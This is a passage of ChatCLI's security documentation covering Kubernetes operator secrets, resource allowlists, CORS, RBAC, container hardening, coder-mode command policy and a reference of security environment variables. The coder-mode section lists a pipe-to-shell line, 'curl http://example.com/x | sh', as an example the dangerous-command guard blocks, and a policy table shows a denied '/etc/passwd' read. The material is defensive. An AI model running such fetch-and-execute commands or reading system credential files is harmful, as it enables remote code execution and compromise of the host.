`chatcli-api-keys`	LLM provider keys (OPENAI_API_KEY, ANTHROPIC_API_KEY, etc.) used by the chatcli gateway	chatcli server pod via `Instance.spec.apiKeys.name`	one key per provider (`OPENAI_API_KEY`, etc.)

chatcli-operator-secrets must live in the same namespace as the operator pod (the controller calls Secrets(resolveNamespace()).Get(...) — resolveNamespace() reads the POD_NAMESPACE env var, the ServiceAccount namespace file, or falls back to the default chatcli-system). If you ran helm install --namespace <X>, create the Secret in <X>.

API keys stored in the Secret are hot-reloaded every 30s — no operator restart is needed.

Resource Type Allowlist

Automated remediation touches only resource types on an allowlist. The default is wider than a single workload type, because remediation that cannot touch a Service or an HPA is remediation that escalates to a human for routine work:

Deployment, StatefulSet, DaemonSet, ReplicaSet, Service, ConfigMap,
HorizontalPodAutoscaler, PodDisruptionBudget, Ingress, CronJob, Job,
ServiceMonitor, PrometheusRule, PodMonitor,
ServiceEntry, VirtualService, DestinationRule

CHATCLI_ALLOWED_RESOURCE_TYPES adds to that list; it does not replace it. Setting it to a short list does not narrow anything — the seventeen defaults stay, and your entries are added on top. Kinds are matched by their exact Kind spelling (Deployment, not deployments), so a lowercase plural adds nothing at all.

# Adds two Istio-adjacent kinds to the seventeen already allowed
export CHATCLI_ALLOWED_RESOURCE_TYPES="Gateway,Sidecar"

To genuinely restrict what the operator may touch, restrict its RBAC: the chart’s Role is namespace-scoped by default, and the operator can only act on what its ServiceAccount is granted.

A second list names types that are never remediated automatically and always require explicit approval, with the reason recorded — ClusterRole and ClusterRoleBinding (cluster-wide escalation), Role, RoleBinding, Namespace, Node, PersistentVolume, StorageClass, Secret, ServiceAccount, NetworkPolicy, the webhook configurations, CustomResourceDefinition and PriorityClass. Anything outside both lists is rejected and logged.

Log Scrubbing

Secrets, tokens, and sensitive data are automatically scrubbed from operator logs:

# Custom scrub patterns (regex, semicolon-separated)
export CHATCLI_LOG_SCRUB_PATTERNS="Bearer [A-Za-z0-9._-]+;password=[^&\\s]+"

CORS Policy

The operator REST API is deny-all until an origin is named: with none configured, no CORS headers are written and a browser blocks every cross-origin call.

# Helm values.yaml (chatcli-operator chart)
security:
  corsAllowedOrigins:
    - "https://dashboard.example.com"
    - "https://ops.example.com"
  corsAllowedMethods: ["GET", "POST", "PUT", "DELETE", "OPTIONS"]
  corsAllowCredentials: true

Or directly:

export CHATCLI_CORS_ALLOWED_ORIGINS="https://dashboard.example.com,https://ops.example.com"
export CHATCLI_CORS_ALLOWED_METHODS="GET,POST,PUT,DELETE,OPTIONS"
export CHATCLI_CORS_ALLOW_CREDENTIALS=true
# a single origin, still accepted:
export CHATCLI_CORS_ORIGIN="https://dashboard.example.com"

An allowlist of several origins echoes the request’s own origin after matching it, with Vary: Origin, because the header carries one value and echoing an unmatched origin would turn the list into “any site”. "*" is accepted; combined with credentials it echoes the origin instead, since browsers reject the literal star in that combination. The operator logs which policy took effect at startup.

RBAC and NetworkPolicy

Namespace-Scoped RBAC (Default)
Cluster-Wide RBAC

# values.yaml
rbac:
  create: true
  clusterWide: false   # Role (namespace-scoped)

helm install chatcli oci://ghcr.io/diillson/charts/chatcli \
  --set rbac.clusterWide=true \
  --set watcher.enabled=true

The chart ships a NetworkPolicy, disabled by default. Enabling it restricts ingress to the ports the server actually serves; egress is a separate choice:

# values.yaml
networkPolicy:
  enabled: true
  egress: restricted        # allowAll (default) | restricted
  # ingressFrom:
  #   - podSelector:
  #       matchLabels:
  #         app: chatcli-client
  # egressExtraPorts:       # a private model endpoint, say
  #   - port: 8080
  #     protocol: TCP

egress: restricted narrows outbound traffic to DNS, HTTPS and the Kubernetes API:

  egress:
  - ports:
    - {port: 53, protocol: UDP}
    - {port: 53, protocol: TCP}
  - ports:
    - {port: 443, protocol: TCP}    # LLM providers and other outbound APIs
    - {port: 6443, protocol: TCP}   # Kubernetes API

Start with egress: allowAll, confirm ingress behaves, then tighten. DNS is included in the narrow form and is not optional: a pod that cannot resolve names fails in ways that look nothing like a network policy problem. If the server calls a private model endpoint or an internal service, add its port to egressExtraPorts before switching.

Pod SecurityContext

The Helm chart defines a restrictive SecurityContext by default:

# values.yaml
podSecurityContext:
  runAsNonRoot: true
  runAsUser: 1000
  runAsGroup: 1000
  fsGroup: 1000
  seccompProfile:
    type: RuntimeDefault       # Kernel syscall filter

securityContext:
  allowPrivilegeEscalation: false
  readOnlyRootFilesystem: true
  capabilities:
    drop:
      - ALL

When securityContext.readOnlyRootFilesystem is true, the chart automatically mounts an emptyDir volume at /tmp (limited to 100Mi) so the application can write temporary files.

Operator Dev Mode

For local development, the operator can run in dev mode with relaxed security:

# Enable dev mode (disables TLS requirement and strict auth)
export CHATCLI_OPERATOR_DEV_MODE=true

Never enable CHATCLI_OPERATOR_DEV_MODE in production. It disables critical security checks.

Operator TLS

# AIOps REST API TLS
export CHATCLI_AIOPS_TLS_CERT=/path/to/cert.pem
export CHATCLI_AIOPS_TLS_KEY=/path/to/key.pem

# gRPC TLS with CA for mTLS
export CHATCLI_GRPC_TLS_CERT=/path/to/cert.pem
export CHATCLI_GRPC_TLS_KEY=/path/to/key.pem
export CHATCLI_GRPC_TLS_CA=/path/to/ca.pem

Container Security (Docker)

The docker-compose.yml includes the following hardening measures:

services:
  chatcli-server:
    read_only: true             # Read-only filesystem
    tmpfs:
      - /tmp:size=100M          # In-memory temporary directory
    security_opt:
      - no-new-privileges:true  # Prevents privilege escalation
    deploy:
      resources:
        limits:
          cpus: "2.0"           # CPU limit
          memory: 1G            # Memory limit

Measure	Protection
`read_only: true`	Prevents malware from writing files to the container filesystem
`tmpfs`	Provides an in-memory `/tmp` directory with limited size
`no-new-privileges`	Prevents child processes from gaining more privileges than the parent
Resource limits	Prevents excessive CPU/memory consumption (DoS)

CI/CD Security

ChatCLI’s CI/CD pipeline includes multiple security checks:

govulncheck

Scans Go dependencies for known vulnerabilities using the Go vulnerability database.

govulncheck ./...

gosec

Static analysis security scanner for Go code that detects common vulnerabilities.

gosec ./...

Dependabot

Automated dependency updates with security alerts for vulnerable packages. Configured via .github/dependabot.yml.

Cosign Image Signing

Container images are signed using Sigstore Cosign for supply chain verification.

# Verify a ChatCLI image
cosign verify ghcr.io/diillson/chatcli:latest \
  --certificate-identity-regexp=".*" \
  --certificate-oidc-issuer-regexp=".*"

Coder Mode Governance (Policy Manager)

Word Boundary Matching

The policy system uses word boundary matching to prevent permission escalation by prefix. Example:

Rule	Command	Result
`@coder read` = allow	`@coder read file.txt`	Allowed
`@coder read` = allow	`@coder readlink /tmp`	Blocked (ask)
`@coder read --file /etc` = deny	`@coder read --file /etc/passwd`	Blocked (deny)

The logic checks whether the next character after the match is a separator (space, /, =, etc.) and not a word continuation (letter, digit, -, _). This ensures that read does not match readlink.

Default Rules

Read commands are allowed; execution always asks:

{
  "rules": [
    { "pattern": "@coder read", "action": "allow" },
    { "pattern": "@coder tree", "action": "allow" },
    { "pattern": "@coder search", "action": "allow" },
    { "pattern": "@coder git-status", "action": "allow" },
    { "pattern": "@coder git-diff", "action": "allow" },
    { "pattern": "@coder git-log", "action": "allow" },
    { "pattern": "@coder git-changed", "action": "allow" },
    { "pattern": "@coder git-branch", "action": "allow" },
    { "pattern": "@coder exec", "action": "ask" }
  ]
}

The policy file is written 0600 at ~/.chatcli/coder_policy.json; a coder_policy.json in the working directory overrides it for that project.

The dangerous-command guard sits below the policy

Every @coder subcommand that runs a shell line — exec and test — is checked against the dangerous-pattern list regardless of what the policy says, including after an “allow always”. A command that matches is refused and the model is told not to retry it.

@coder exec --cmd "curl http://example.com/x | sh"    → blocked
@coder test --cmd "curl http://example.com/x | sh"    → blocked

--allow-unsafe and --allow-sudo exist on both subcommands for the cases that genuinely need them, and they lift only the engine’s own check — the guard above still applies in agent and coder mode.

For more details on the governance system, see the Coder Mode documentation.

Managed Configuration (organization defaults and locked policies)

An operator can ship a managed.env with the machine image or the MDM profile and have every ChatCLI process on that machine honor it — REPL, one-shot, gateway, MCP/ACP server alike:

Platform	Path
Linux, macOS	`/etc/chatcli/managed.env`
Windows	`%ProgramData%\chatcli\managed.env`
Any	`CHATCLI_MANAGED_CONFIG=<path>`

The file is dotenv-shaped with two kinds of lines:

# defaults: apply only when the user has not set the variable (environment or .env)
CHATCLI_ENV_REDACT_MODE=strict
CHATCLI_SESSION_TTL=30d

# locked policies: win over whatever the user set, on boot and again on every /reload
!CHATCLI_AUDIT_LOG_PATH=/var/log/chatcli/audit.jsonl
!CHATCLI_ALLOW_UNSIGNED_PLUGINS=false

Precedence, highest first: locked managed → user environment / .env → managed default → code default. /config managed shows the file, its entries and which are locked; every /config section tags values that came from it as (managed) or (managed · locked). An unreadable file is reported once at boot and ignored (never a crash); a missing file changes nothing.

Security Environment Variables Reference

Complete reference of all security-related environment variables:

Server Security

Variable	Description	Default
`CHATCLI_JWT_SECRET`	HS256 shared secret. A value that resolves to PEM key material selects RS256 instead.	`""`
`CHATCLI_JWT_PUBLIC_KEY`	RSA public key (PEM, or a path to one). Setting it selects RS256.	`""`
`CHATCLI_JWT_ISSUER`	Expected JWT `iss` claim. Empty skips the check.	`""`
`CHATCLI_JWT_AUDIENCE`	Expected JWT `aud` claim. Empty skips the check.	`""`
`CHATCLI_RATE_LIMIT_RPS`	Rate limit: sustained requests per second	`10`
`CHATCLI_RATE_LIMIT_BURST`	Rate limit: burst capacity	`20`
`CHATCLI_MAX_RECV_MSG_SIZE`	Maximum gRPC receive message size (bytes)	`52428800` (50MB)
`CHATCLI_MAX_SEND_MSG_SIZE`	Maximum gRPC send message size (bytes)	`52428800` (50MB)
`CHATCLI_MAX_CONCURRENT_STREAMS`	Maximum concurrent gRPC streams per connection	`100`
`CHATCLI_BIND_ADDRESS`	Network interface to bind to. Auto-detects `0.0.0.0` in Kubernetes.	`127.0.0.1` / `0.0.0.0` (K8s)
`CHATCLI_AUDIT_LOG_PATH`	Path for structured audit log file	`""`
`CHATCLI_LOG_FILE`	Application log file path	`~/.chatcli/app.log`
`CHATCLI_LOG_MAX_SIZE_MB`	Max log file size before rotation (MB)	`100`
`CHATCLI_LOG_MAX_BACKUPS`	Number of rotated log files to keep	`3`
`CHATCLI_LOG_MAX_AGE_DAYS`	Maximum age of rotated log files (days)	`30`
`CHATCLI_DEBUG`	Enable debug mode with verbose logging	`false`
`CHATCLI_ALLOW_HTTP_PROVIDERS`	Allow HTTP (non-TLS) connections to LLM providers	`false`
`CHATCLI_GRPC_REFLECTION`	Enable gRPC reflection (use only in dev)	`false`
`CHATCLI_SERVER_TOKEN`	Legacy bearer token for gRPC authentication	`""`
`CHATCLI_SERVER_TLS_CERT`	Server TLS certificate path	`""`
`CHATCLI_SERVER_TLS_KEY`	Server TLS key path	`""`
`CHATCLI_SERVER_TLS_CLIENT_CA`	CA bundle client certificates are verified against; enables mutual TLS. Requires cert and key.	`""`

Agent Security

Variable	Description	Default
`CHATCLI_AGENT_SECURITY_MODE`	Security mode: `strict` (allowlist, applied to every command on the line) or `permissive`	`strict`
`CHATCLI_AGENT_ALLOWLIST`	Extra allowed commands (comma- or semicolon-separated)	`""`
`CHATCLI_AGENT_DENYLIST`	Extra denied patterns (semicolon-separated regex)	`""`
`CHATCLI_AGENT_WORKSPACE_STRICT`	Restrict file access to the workspace directory only	`true`
`CHATCLI_AGENT_ALLOW_KUBECONFIG`	Allow agent commands to access kubeconfig	`false`
`CHATCLI_AGENT_EXTRA_READ_PATHS`	Additional allowed read paths (`:` or `;` on Unix, `;` on Windows)	`""`
`CHATCLI_AGENT_SOURCE_SHELL_CONFIG`	Source shell config (`~/.bashrc`, etc.) in agent commands	`false`
`CHATCLI_AGENT_ALLOW_SUDO`	Allow `sudo` without automatic blocking	`false`
`CHATCLI_AGENT_CMD_TIMEOUT`	Timeout per executed command, capped at `1h`	`10m`
`CHATCLI_MAX_COMMAND_OUTPUT`	Maximum command output size (bytes)	`102400`
`CHATCLI_CODER_SANDBOX`	OS-level confinement for `@coder exec` and `@coder test`: `off`, `workspace`, `strict`, `docker`/`podman`/`container`	`off`

Plugin and Auth Security

Variable	Description	Default
`CHATCLI_ALLOW_UNSIGNED_PLUGINS`	Allow unsigned plugins to execute	`false`
`CHATCLI_PLUGIN_QUARANTINE`	Hold newly seen unsigned plugins: a duration, `on` (24h), or `off`	`off`
`CHATCLI_ALLOW_INSECURE`	Allow insecure (non-TLS) connections	`false`
`CHATCLI_TLS_CLIENT_CERT`	Client TLS certificate for mTLS	`""`
`CHATCLI_TLS_CLIENT_KEY`	Client TLS key for mTLS	`""`
`CHATCLI_ENCRYPTION_KEY`	Opt-in encryption at rest for sessions, autosaves, MCP mirrors and park snapshots (AES-256-GCM, HKDF-derived)	`""` (off)
`CHATCLI_ENCRYPTION_KEY_PREVIOUS`	Retired keys still accepted on read during a rotation (comma-separated)	`""`
`CHATCLI_KEYCHAIN_BACKEND`	Where the credential-encryption key lives: `auto`, `file`, `keychain`. A Go test binary never reaches the OS keychain on `auto` — only an explicit `keychain` does — so running the suite neither prompts for access nor rewrites the developer’s key	`auto`
`CHATCLI_DISABLE_HISTORY`	Disable conversation history recording	`false`
`CHATCLI_SESSION_TTL`	Machine-session time-to-live, in days (`0` disables; user-named sessions never expire)	`90d`
`CHATCLI_ENV_REDACT_MODE`	Secret redaction on the LLM path: `permissive`, `strict`, `off`	`permissive`
`CHATCLI_REDACT_PATTERNS`	Custom redaction patterns (semicolon-separated regex)	`""`

Operator Security

Variable	Description	Default
`CHATCLI_OPERATOR_DEV_MODE`	Enable operator dev mode (relaxed security)	`false`
`CHATCLI_AIOPS_TLS_CERT`	AIOps REST API TLS certificate	`""`
`CHATCLI_AIOPS_TLS_KEY`	AIOps REST API TLS key	`""`
`CHATCLI_GRPC_TLS_CERT`	gRPC TLS certificate	`""`
`CHATCLI_GRPC_TLS_KEY`	gRPC TLS key	`""`
`CHATCLI_GRPC_TLS_CA`	gRPC CA certificate for mTLS verification	`""`
`CHATCLI_ALLOWED_RESOURCE_TYPES`	Allowed Kubernetes resource types (comma-separated)	17 workload, networking and Istio types — see above
`CHATCLI_LOG_SCRUB_PATTERNS`	Patterns to scrub from logs (semicolon-separated regex)	Built-in patterns
`CHATCLI_CORS_ALLOWED_ORIGINS`	Origins allowed to call the operator REST API from a browser (comma-separated, or `*`)	`""` (deny all)
`CHATCLI_CORS_ORIGIN`	A single allowed origin	`""`
`CHATCLI_CORS_ALLOWED_METHODS`	Methods allowed cross-origin (comma-separated)	`GET,POST,PUT,DELETE,OPTIONS`
`CHATCLI_CORS_ALLOW_CREDENTIALS`	Allow cookies and `Authorization` on cross-origin requests	`false`

Version Check

ChatCLI automatically checks for newer versions on GitHub. To disable (e.g., air-gapped environments or CI/CD):

export CHATCLI_DISABLE_VERSION_CHECK=true

Production Best Practices

Use JWT authentication with RBAC

export CHATCLI_JWT_SECRET=$(openssl rand -hex 32)
export CHATCLI_JWT_ISSUER="chatcli-production"
export CHATCLI_JWT_AUDIENCE="chatcli-api"
chatcli server

Enable TLS in production

chatcli server --tls-cert cert.pem --tls-key key.pem

Use strict agent security mode

export CHATCLI_AGENT_SECURITY_MODE=strict
export CHATCLI_AGENT_WORKSPACE_STRICT=true

Require plugin signatures

Keep CHATCLI_ALLOW_UNSIGNED_PLUGINS as false (default), sign your plugins and register the public key:

chatcli plugin keygen --output ~/.chatcli/plugin-keys/
chatcli plugin sign --binary ./my-plugin --key ~/.chatcli/plugin-keys/plugin-signing.key
chatcli plugin trust --key ~/.chatcli/plugin-keys/plugin-signing.pub --name acme

Where unsigned plugins must be tolerated, set CHATCLI_PLUGIN_QUARANTINE=24h so a binary nobody installed on purpose does not run the moment it appears.

Require client certificates

chatcli server --tls-cert cert.pem --tls-key key.pem --tls-client-ca ca.pem

Turn on encryption at rest

export CHATCLI_ENCRYPTION_KEY="$(openssl rand -hex 32)"

Verify the audit trail periodically with /config security verify-audit.

Sandbox coder execution

export CHATCLI_CODER_SANDBOX=workspace   # or strict, to deny network too

Configure rate limiting

export CHATCLI_RATE_LIMIT_RPS=10
export CHATCLI_RATE_LIMIT_BURST=20

Enable audit logging

export CHATCLI_AUDIT_LOG_PATH=/var/log/chatcli/audit.json

Keep gRPC reflection disabled

Do not set CHATCLI_GRPC_REFLECTION=true in production. Use only for local debugging.

Use namespace-scoped RBAC

Keep rbac.clusterWide: false (default) unless you need to monitor multiple namespaces.

Set resource limits

Always define CPU and memory limits to prevent excessive consumption:

resources:
  requests:
    memory: "128Mi"
    cpu: "100m"
  limits:
    memory: "512Mi"
    cpu: "500m"

Enable environment variable redaction

export CHATCLI_ENV_REDACT_MODE=strict

Use the OS keychain for the credential key

export CHATCLI_KEYCHAIN_BACKEND=keychain

Check /config server afterwards: it prints the backend that actually took effect, which is the file wherever no keychain is available.

Keep ChatCLI updated

The version check is enabled by default. If you disabled it with CHATCLI_DISABLE_VERSION_CHECK, check periodically:

chatcli --version

Next Steps

Coder Mode Governance

Policy rules to control what the Coder can execute.

Configure the Server

Deploy and configure the gRPC server.

Deploy with Docker and Helm

Complete containerized deployment guide.

Environment Variables

Complete environment variables reference.

K8s Operator

AIOps autonomous remediation platform.

Plugin System

Extend ChatCLI with custom plugins.

​Security Overview

​Authentication and Authorization

​JWT Authentication (Recommended)

​RBAC Roles

​Legacy Bearer Token

​OAuth 2.0 + PKCE

​Encryption and Data Protection

​AES-256-GCM Credential Encryption

​Encryption at Rest (sessions, memory, contexts, archives, costs)

​Key rotation

​Tamper-evident audit trail

​TLS 1.3 Transport Security

​Secret Redaction on the LLM Path

​OS Keychain Integration

​Agent Mode Security

​Command Allowlist (Strict Mode)

​Custom Allowlist

​Denylist Patterns

​Read Path Blocking

​Shell Configuration Sourcing

​Input guard — typeahead protection in security prompts

​Output Sanitizer

​EDITOR Validation

​Kubeconfig Access Control

​Shell Injection Protection

​Binary Resolution via LookPath

​Plugin Security

​Ed25519 Signature Verification

​What happens to an unsigned plugin

​Quarantine for Unsigned Plugins

​What plugin sandboxing does not do

​gRPC Server Security

​SSRF Prevention

​Rate Limiting

​Message Size Limits

​Input Validation

​Audit Logging

​LLM request trail (every surface, every provider)

​Bind Address

​Interceptor Chain

​gRPC Reflection (Disabled by Default)

​Kubernetes Operator Security

​Fail-Closed Authentication

​Resource Type Allowlist

​Log Scrubbing

​CORS Policy

​RBAC and NetworkPolicy

​Pod SecurityContext

​Operator Dev Mode

​Operator TLS

​Container Security (Docker)

​CI/CD Security

​Coder Mode Governance (Policy Manager)

​Word Boundary Matching

​Default Rules

​The dangerous-command guard sits below the policy

​Managed Configuration (organization defaults and locked policies)

​Security Environment Variables Reference

​Server Security

​Agent Security

​Plugin and Auth Security

​Operator Security

​Version Check

​Production Best Practices

​Next Steps

Coder Mode Governance

Configure the Server

Deploy with Docker and Helm

Environment Variables

K8s Operator

Plugin System

Security Overview

Authentication and Authorization

JWT Authentication (Recommended)

RBAC Roles

Legacy Bearer Token

OAuth 2.0 + PKCE

Encryption and Data Protection

AES-256-GCM Credential Encryption

Encryption at Rest (sessions, memory, contexts, archives, costs)

Key rotation

Tamper-evident audit trail

TLS 1.3 Transport Security

Secret Redaction on the LLM Path

OS Keychain Integration

Agent Mode Security

Command Allowlist (Strict Mode)

Custom Allowlist

Denylist Patterns

Read Path Blocking

Shell Configuration Sourcing

Input guard — typeahead protection in security prompts

Output Sanitizer

EDITOR Validation

Kubeconfig Access Control

Shell Injection Protection

Binary Resolution via LookPath

Plugin Security

Ed25519 Signature Verification

What happens to an unsigned plugin

Quarantine for Unsigned Plugins

What plugin sandboxing does not do

gRPC Server Security

SSRF Prevention

Rate Limiting

Message Size Limits

Input Validation

Audit Logging

LLM request trail (every surface, every provider)

Bind Address

Interceptor Chain

gRPC Reflection (Disabled by Default)

Kubernetes Operator Security

Fail-Closed Authentication

Resource Type Allowlist

Log Scrubbing

CORS Policy

RBAC and NetworkPolicy

Pod SecurityContext

Operator Dev Mode

Operator TLS

Container Security (Docker)

CI/CD Security

Coder Mode Governance (Policy Manager)

Word Boundary Matching

Default Rules

The dangerous-command guard sits below the policy

Managed Configuration (organization defaults and locked policies)

Security Environment Variables Reference

Server Security

Agent Security

Plugin and Auth Security

Operator Security

Version Check

Production Best Practices

Next Steps